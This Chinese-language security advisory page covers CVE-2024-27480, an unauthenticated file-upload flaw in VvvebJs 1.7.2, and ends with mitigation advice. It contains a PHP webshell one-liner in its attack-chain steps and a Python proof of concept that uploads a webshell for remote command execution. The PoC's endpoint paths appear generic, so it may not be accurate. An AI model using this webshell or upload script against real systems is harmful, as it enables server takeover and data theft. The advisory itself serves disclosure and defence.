IPBUF安全漏洞报告
English
CVE-2024-27480 CVSS 9.8 严重

CVE-2024-27480: VvvebJs 1.7.2不安全文件上传漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2024-27480
漏洞类型
不安全文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
VvvebJs

相关标签

不安全文件上传远程代码执行VvvebJsWebshellCVSS 9.8无需认证givanzCVE-2024-27480

漏洞概述

CVE-2024-27480是VvvebJs 1.7.2版本中存在的一个高危安全漏洞,属于不安全文件上传(Insecure File Upload)类型。VvvebJs是一个由givanz开发的轻量级JavaScript框架,广泛应用于Web开发中。该漏洞允许未经认证的远程攻击者通过构造恶意文件上传请求,在目标服务器上执行任意代码,从而完全控制受影响的系统。由于该漏洞的CVSS评分高达9.8,属于严重级别,且攻击复杂度低、无需认证和用户交互,因此对互联网上的暴露资产构成了极大威胁。攻击者可以利用此漏洞上传 webshell 后门程序,进而获取服务器权限、窃取敏感数据或部署恶意软件。该漏洞影响所有使用VvvebJs 1.7.2版本的用户,强烈建议立即采取修复措施。

技术细节

VvvebJs 1.7.2版本在文件上传功能中存在严重的输入验证缺陷。系统未对用户上传的文件类型、内容和扩展名进行充分的过滤和校验,导致攻击者可以上传任意类型的文件,包括恶意PHP、ASP、JSP等Webshell脚本。漏洞主要存在于文件上传接口的服务器端验证逻辑中,程序仅依赖客户端的MIME类型或文件扩展名进行判断,而未对文件内容进行安全检查。攻击者可以通过修改HTTP请求中的Content-Type字段或使用双扩展名(如shell.php.jpg)绕过基本的文件类型检查。上传成功后,恶意文件被保存在Web可访问目录下,攻击者可通过直接访问该文件在服务器端执行任意系统命令。此外,部分配置可能允许通过目录遍历漏洞将文件写入任意目录,进一步扩大攻击面。

攻击链分析

STEP 1
步骤1
信息收集:识别目标网站使用的VvvebJs版本,确认是否为1.7.2或更早版本
STEP 2
步骤2
构造恶意文件:创建包含恶意PHP代码的webshell文件,如<?php system($_GET['cmd']); ?>
STEP 3
步骤3
绕过验证:修改HTTP请求中的Content-Type头或使用双扩展名绕过服务器的文件类型检查
STEP 4
步骤4
上传文件:向文件上传接口发送POST请求,上传构造的webshell文件
STEP 5
步骤5
获取webshell路径:成功上传后获取文件在服务器上的存储路径
STEP 6
步骤6
远程命令执行:通过HTTP请求访问webshell并传递cmd参数,在服务器上执行任意系统命令
STEP 7
步骤7
权限维持:上传额外的后门程序或修改系统配置,实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-27480 PoC - VvvebJs Insecure File Upload # Target: VvvebJs <= 1.7.2 TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" UPLOAD_PATH = "/vvvebjs/upload" WEBSHELL_NAME = "shell.php" # PHP webshell code webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" def exploit_upload(): """Upload malicious PHP file to target server""" files = { 'file': (WEBSHELL_NAME, webshell, 'application/x-php') } try: response = requests.post( f"{TARGET_URL}{UPLOAD_PATH}", files=files, timeout=10 ) if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Webshell path: {TARGET_URL}/uploads/{WEBSHELL_NAME}") print(f"[+] Execute command: ?cmd=whoami") else: print(f"[-] Upload failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_upload()

影响范围

VvvebJs 1.7.2及之前版本

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)禁用或限制文件上传功能的访问;2)配置Web服务器阻止.php、.asp、.jsp等脚本文件的上传和执行;3)将上传目录移至Web根目录之外;4)使用mod_security等WAF规则过滤异常文件上传请求;5)加强服务器监控,及时发现异常文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表